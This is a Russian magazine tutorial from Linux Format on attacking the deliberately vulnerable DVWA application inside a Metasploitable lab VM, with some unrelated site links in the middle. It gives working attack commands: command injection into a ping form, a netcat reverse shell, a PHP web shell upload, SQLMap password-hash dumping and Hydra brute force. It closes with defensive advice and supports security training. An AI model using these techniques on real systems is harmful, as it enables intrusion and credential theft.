LXF167:Внедряться в сервер
|
|
|
Безопасность. Осознайте трюки злых хакеров и храните свои серверы в целости
DVWA: Взлом web-приложений
На свете много людей, влезающих в web-приложения потехи ради и для заработка. Бен Эверард покажет, как они норовят употреблять сайты.
Как боевые искуства можно применять для самозащиты, так и навыки взлома пригодятся для идентификации слабых мест ваших серверов и их защиты. Слабые места есть у любой компьютерной системы; искусство заключается в том, чтобы найти их раньше взломщика. Во второй части нашего курса черной магии мы рассмотрим web-приложения и вносимые ими потенциальные опасности.
Web-приложения – благодатная почва для уязвимостей, так как им уделяют меньше внимания, чем другим областям. К примеру, сотни – если не тысячи – людей видели исходный код Apache и работали с ним, то есть он отлично изучен на предмет ошибок. А сколько людей видели исходный код среднего web-приложения? 10? 20? Меньше? При взрывном росте числа людей, именующих себя web-разработчиками, многие ли из них действительно разбираются в практике безопасного программирования?
Для выявления возможных проблем безопасности существуют специально разработанные web-приложения. Ранее, в LXF159, мы рассмотрели WebGoat, а сейчас собираемся использовать Damn Vulnerable Web Application [Чертовски уязвимое web-приложение], DVWA. В отличие от WebGoat, это не набор уроков, а незащищенный сайт, и на нем мы будем оттачивать наши навыки.
Первый шаг – заставить его работать. Можете настроить сервер на своей машине и запустить его локально, но мы-то запустим его на виртуальной машине Metasploitable, которую можно скачать c www.sourceforge.net/projects/metasploitable. Также вам понадобится VirtualBox, наверняка имеющийся в репозитории вашего дистрибутива. Загрузив его, следуйте пошаговым инструкциям, чтобы ваша система заработала.
Если все в порядке, вы сможете запустить браузер и ввести адрес http://192.168.56.101 (если он уже есть в вашей локальной сети, надо будет изменить настройки VirtualBox) и получить список доступных web-приложений. Щелкните на DVWA и войдите как admin:password.
В DVWA три уровня безопасности. Уровень Low [Низкий] – самый легкий, его мы и будем использовать для начала (нажмите на DVWA Security [Безопасность], затем выберите Low и нажмите Submit [Подтвердить]). Medium [Средний] призван дать вам задачу посложнее, после изучения основ. Высокий [High] предназначен для демонстрации хорошей практики кодирования – преднамеренно в нем уязвимости не заложены (разумеется, это не означает, что их здесь нет).
Выполнение команды
Первая функция, которую мы атакуем – Выполнение команды [Command execution]. Выбрав этот пункт, вы найдете web-приложение, позволяющее пинговать другие машины. Попробуйте его, введя IP-адрес хоста (192.168.56.1, если вы использовали настройки по умолчанию). Приложение работает, передавая ввод команде ping. Сама по себе, ping не особо полезна для нас, но она предоставляет доступ к командной строке. Если мы введем 192.168.56.1; pwd, система выполнит:
ping 192.168.56.1; pwd
и выведет результат на экран. В данном случае мы увидим текущий каталог. Уже неплохо, чтобы отыскать конкретные файлы, но мы, разумеется, метим выше. Например, можно получить список всех пользователей в системе:
192.168.56.1; cat /etc/passwd | cut -d: -f1
Чуть позже мы применим этот прием для атаки грубой силой [brute force].
Метод ввода команд через ping-интерфейс можно бы и развить, но он не слишком удобен. Нам бы намного полегчало, имей мы доступ к оболочке. У нас нет полномочий на вход в систему, поэтому хорошо бы запустить на сервере команду, которая соединится с нашей локальной машиной и выдаст нам доступ. Это называется оболочкой-оборотнем [reverse shell], так как работает в направлении, противоположном нормальным оболочкам вроде SSH или Telnet. Есть несколько способов этого добиться (некоторые люди даже превратили это в форму искусства), но мы возьмем самый простой: через nc.
Это простая команда для отправки данных через сетевое соединение. Мы можем использовать ее для отправки ввода и вывода оболочки на другую машину. Перед запуском чего-либо на машине жертвы, мы должны прослушать входящие соединения. На своем хосте выполните
nc -l -v 4444
4444 – это порт, который мы используем. Порт может быть любым, если он не конфликтует с другими серверными приложениями, но одинаковым на обеих машинах.
Теперь после ping введите
192.156.56.1; nc -c /bin/sh 192.168.56.1 4444
Флаг -c велит nc выполнить команду /bin/sh. Будучи зияющей дырой в безопасности, эта опция должна быть отключена на всех промышленных серверах.
На вашей машине вы увидите строку:
Connection from 192.168.56.101 port 4444 [tcp/krb524] accepted
[Подключение от 192.168.56.101 порт 4444 [tcp/krb524] принято]
Теперь все вводимые вами команды будут работать на машине-жертве. Выполните whoami, чтобы проверить это.
Если вы обнаружите, что в nc ничего не приходит, возможно, дело в брандмауэре на вашей машине. Обратитесь к документации вашего дистрибутива, чтобы узнать, как временно отключить брандмауэр.
Почувствовав себя уверенно, повысьте уровень безопасности до среднего и повторите попытку. Сработает тот же принцип, но... ведь весь смысл тестов на вторжение – в упражнении на догадливость, так что попробуйте-ка сами. Посмотрите Совет 1 – или Решение 1 на последней странице, если вам нужны подсказки. Конечно, такую функцию имеют немногие сайты. {Врезка|right|Ширина=40%|Заголовок=Mutillidae |Содержание= Еще одно из уязвимых web-приложений, включенных в Metasploitable – Mutillidae. Если вы следили за нашим циклом по безопасности, вы должны были набраться достаточно знаний, чтобы атаковать его – ну, почти достаточно. Но сначала там надо исправить ошибку в конфигурации. Войдите в виртуальную машину Metasploitable через msfadmin/msfadmin и выполните cd /var/www/mutillidae. Откройте от имени суперпользователя config.inc в текстовом редакторе, например:
sudo nano config.inc
и измените строку
$dbname = ‘metasploitable’;
на
$dbname = ‘owasp10’;
После сохранения файла (в nano — Ctrl + X, ‘Y’) Mutillidae должно работать нормально. Оно построено вокруг самых распространенных сетевых уязвимостей, и там много способов проникнуть внутрь.}}
- Метамодернизм в позднем творчестве В.Г. Сорокина
- ЛитРПГ - последняя отрыжка постмодерна
- "Ричард III и семиотика"
- 3D-визуализация обложки Ridero создаем обложку книги при работе над самиздатом.
- Архитектура метамодерна - говоря о современном искусстве, невозможно не поговорить об архитектуре. В данной статье будет отмечено несколько интересных принципов, характерных для построек "новой волны", столь притягательных и скандальных.
- Литература
- Метамодерн
- Рокер-Прометей против изначального зла в «Песне про советскую милицию» Вени Дркина, Автор: Нина Ищенко, к.ф.н, член Союза Писателей ЛНР - перепубликация из журнала "Топос".
- Как избавиться от комаров? Лучшие типы ловушек.
- Что делать если роблокс вылетает на windows
- Что делать, если ребенок смотрит порно?
- Почему собака прыгает на людей при встрече?
- Какое масло лить в Задний дифференциал (мост) Visco diff 38434AA050
- О чем может рассказать хвост вашей кошки?
- Верветки
- Отчетность бюджетных учреждений при закупках по Закону № 223-ФЗ
- Срок исковой давности как правильно рассчитать
- Дмитрий Патрушев минсельхоз будет ли преемником Путина
- Кто такой Владислав Поздняков? Что такое "Мужское Государство" и почему его признали экстремистским в России?
- Как правильно выбрать машинное масло в Димитровграде?
- Как стать богатым и знаменитым в России?
- Почему фильм "Пипец" (Kick-Ass) стал популярен по всему миру?
- Как стать мудрецом?
- Как правильно установить FreeBSD
- Как стать таким как Путин?
- Где лучше жить - в Димитровграде или в Ульяновске?
- Почему город Димитровград так называется?
- Что такое метамодерн?
- ВАЖНО! Временное ограничение движения автотранспортных средств в Димитровграде
- Тарифы на электроэнергию для майнеров предложено повысить
Теперь рассмотрим общий взгляд – загрузку изображений. Эта уязвимость возникает из-за способа работы динамических web-языков. Если сайт состоит из статических страниц, то при запросе страницы web-сервер просто находит файл, соответствующий странице, и отправляет его нам. Однако для web-сервера с использованием языка программирования, например, PHP, это происходит немного иначе: при запросе страницы сервер находит соответствующий странице скрипт, запускает его и посылает нам его вывод (это и будет HTML, который отобразится в браузере).
Откройте текстовый редактор и создайте новый файл, содержащий
<?php
$output = shell_exec(‘cat /etc/passwd’);
echo $output;
?>
Мы можем использовать функцию shell_exec для запуска любых команд. Здесь мы с ее помощью добыли содержимое /etc/passwd.
Перейдите на страницу загрузки [Upload] в DVWA, нажмите на Browse [Просмотр], выберите файл и нажмите Загрузить [Upload]. Если все пойдет хорошо, вы увидите красное сообщение о том, что файл был загружен успешно и куда он был загружен. Для запуска скрипта нам осталось только нацелить браузер на этот адрес. К примеру, если вы назвали файл mal.php, откройте http://192.168.56.101/hackable/uploads/mal.php.
Как и в предыдущем случае, мы могли бы продолжать запуск команд подобным образом, но удобства тут мало. Лучший вариант – получить обратную оболочку. Хорошие тестировщики вторжений, как и все хорошие кодеры, ленивы; вот и мы не хотим писать собственного оборотня, если кто-то уже сделал черную работу за нас. На www.pentestmonkey.com есть несколько полезных нам инструментов, включая обратную оболочку PHP. Вы можете скачать ее с сайта или взять с нашего DVD. Перед загрузкой на сервер настройте ее для вашей среды. Распакуйте ее и откройте php-reverse-shell.php в текстовом редакторе. Замените строки 49 и 50 такими:
$ip = ‘192.168.56.1’;
$port = 4444;
а точнее, значениями, соответствующими вашей установке.
Сделав это, вы должны запустить слушатель nc на машине, как в предыдущей атаке, затем загрузить файл как с предыдущим скриптом PHP. Теперь у вас должен быть доступ к оболочке сервера. Чувствуя себя уверенно? Установите уровень безопасности в Medium и попробуйте снова. Совет 2 и Решение 2 к вашим услугам, как и раньше.
Кувалдой
В распоряжении тестировщика есть огромное количество способов, а число известных уязвимостей, которыми можно воспользоваться, измеряется десятками тысяч (только в архиве www.exploit-db.com их почти 20 000). Естественно, ни один взломщик все их не упомнит. В предыдущей части этого урока мы рассмотрели SQL-инъекции и на их применение для кражи данных из базы. На сей раз мы собираемся употребить автоматизированный инструмент, который сделает все это за нас. Вы, скорее всего, не найдете SQLMap в репозиториях вашего дистрибутива, но его можно скачать с www.sqlmap.org или взять с DVD. Это скрипт на Python, и его не нужно устанавливать. Просто распакуйте его, откройте терминал в новом каталоге и запустите ./sqlmap.py; но следует немного разжиться информацией, прежде чем мы сможем настроить его для работы.
Этот скрипт проверяет определенный набор SQL-атак на web-страницы. Но прежде чем сделать это, мы должны получить правильную cookie сессии, иначе DVWA не даст SQLMap доступа к странице. Для этого сгодится любой браузер, но следующие инструкции работают для Firefox. Войдите в DVWA с использованием admin/password. Щелкните правой кнопкой мыши на странице и выберите Информация о странице [View Page Info]. Используйте вкладку Защита [Security] и нажмите кнопку Просмотреть куки [View Cookies]. В этом окне вы увидите два cookie: PHPSESSID и security [безопасности]. Последний просто установлен в Low, Medium или High, и мы можем выбрать здесь то, что хотим. Вам нужно будет скопировать содержимое PHPSESSID в командную строку. Обладая этой информацией, мы можем начать нашу атаку на страницу SQL-инъекции DVWA.
Из каталога SQLMap выполните:
./sqlmap.py -u “http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit” --cookie=’PHPSESSID=aa77be5f7ac5f27080d1edc6115c6e5f; security=low’ --dbs
Подставьте для PHPSESSID правильное значение. Вы увидите несколько сообщений; просто введите ‘Y’, чтобы продолжить атаку. Опция --dbs велит SQLMap попытаться украсть список баз данных. Она должна привести к отображению этого списка, включая базу dvwa. Зная имя базы данных, мы можем забраться поглубже. Чтобы получить список таблиц базы данных, выполните команду еще раз, но опустите --dbs и добавьте -D dvwa --tables.
Она найдет две таблицы: guestbook и users. Гостевая книга [guestbook] звучит не слишком волнующе, так что сосредоточимся на users [пользователь]. Используем флаги -D dvwa -T users --dump.
Снова отвечайте ‘Y’ на запросы. SQLMap достаточно умен, чтобы найти хэши паролей, а также включает возможность взломать их. Для надежных паролей может быть лучше просто забрать хэши, а затем применить мощное оборудование для взлома. Ну, а эти пароли не самые безопасные, так что просто введите ‘Y’, чтобы взломать их. Достаточно скоро вы увидите список имен пользователей с паролями, которые позволят вам беспрепятственно войти в DVWA.
У SQLMap есть множество других опций, на которые у нас здесь нет места. Подробности ищите в ./sqlmap --help.
Грубая сила
Не все web-приложения будут настолько любезны, чтобы предоставить нам вход через SQL-инъекции. Иногда единственный способ взлома – это старая добрая лобовая атака. Выше мы увидели, как можно быстро взломать учетные записи, имея доступ к хэшам. В новой атаке мы будем использовать Hydra, инструмент грубого взлома сети, чтобы попытаться прорваться внутрь web-страницы. Это одна из наименее сложных хакерских утилит: она всего-навсего перебирает различные комбинации имя пользователя/пароль вплоть до успеха. Вам понадобиться PHPSESSID (он может устареть, так что убедитесь, что ваш остается в силе, если вы закончили предыдущую атаку некоторое время назад).
В качестве теста запустим его со списком паролей pass.list с DVD (имеется также на www.linuxformat.com/archives). Это текстовый файл с одним паролем в каждой строке, которые Hydra и будет проверять. Там 25 паролей, наиболее часто встречающихся по данным компании ИТ-безопасности ESET. Заодно мы воспользуемся списком имен пользователей в системе, user.list. Если Hydra нет в репозитории вашего дистрибутива, можете взять ее здесь: www.thc.org/thc-hydra.
hydra 192.168.56.101 http-get-form “/dvwa/vulnerabilities/brute/
index.php:username=^USER^&password=^PASS^&Login=Login:incorrect:C=:H=Cookie:security=low; PHPSESSID=aa77be5f7ac5f27080d1edc6115c6e5f” -L ~/user.list -P ~/pass.list
Эта команда ищет файлы с именами пользователей и паролями в домашнем каталоге; измените пути, если они лежат в другом месте. Вообще-то Hydra довольно проста в применении, но в данном случае все выглядит чуть сложнее – потому что мы используем флаг http-get-form. Большинство поддерживаемых протоколов (SSH, FTP и т. д.) имеют явный раздел логина, что упрощает задачу, но в HTTP этого нет, и нам надо быть более гибкими.
Символы ^ указывают Hydra, куда вставлять имена пользователей и пароль в URL (который отделен двоеточием). “incorrect” – слово, которое Hydra ищет на загруженной странице, если вход не удался (см. рис. 1).
Мы также включили несколько имен, найденных в /passwd при первой атаке, и мы можем использовать тот же файл имен пользователей, чтобы увидеть, нельзя ли прорваться через SSH. Выполните
hydra 192.168.56.101 ssh -L ~/user.list -P ~/pass.list -e nsr
На этот раз команда немного понятнее. Флаг -e nsr велит Hydra помимо пароля из файла пробовать пустой пароль, а также совпадающий с именем пользователя и перевернутым именем пользователя. Hydra слишком медленна для реальных шансов подобрать хотя бы относительно безопасный пароль за разумное время. Однако статистика показывает, что большинство людей использует небезопасные пароли, и при наличии списка имен пользователей есть хорошие шансы проникнуть в систему.
Как защитить себя
Мы видели, как безобидные особенности сайта могут сделать сервер уязвимым. Эти атаки могут сработать, даже если вы используете самые современные версии серверного программного обеспечения, поскольку уязвимости находятся в web-приложениях, а не в серверах. Наличие некоторых из этих уязвимостей можно проверить автоматически, и мы видим журналы tuxradar.com, полные предупреждений о попытках запустить атак описанного здесь типа.
Если вы используете web-сервер, необходимо убедиться, что он невосприимчив к таким нападениям. Конкретный метод, который вы можете использовать для самозащиты, зависит от используемой платформы, но лучшее место для старта – именно DVWA. Помните, что есть три уровня безопасности, и высокий существует как иллюстрация хорошей практики. Вы можете углубиться в исходный код (найдя его на Metasploitable или на DVD). В каталоге Vulnerabilities есть подкаталог для каждой области атак. В них вы найдете соответствующий исходный код для каждого уровня. Код доступен под GPLv3, и вы можете свободно его позаимствовать. Согласно условиям GPL, вы только должны открыть исходный код вашего web-приложения, если включите этот код, а затем будете распространять его. Мы надеемся, что вы решите открыть исходный код вашего проекта, но если он обслуживает только страницы с вашего сервера, вы можете держать его закрытым – условия лицензии будут по-прежнему соблюдены.
На каждой странице DVWA вы найдете также раздел дополнительной информации [More Info], содержащий ссылки на другие сайты. Там содержатся богатые сведения о защите. |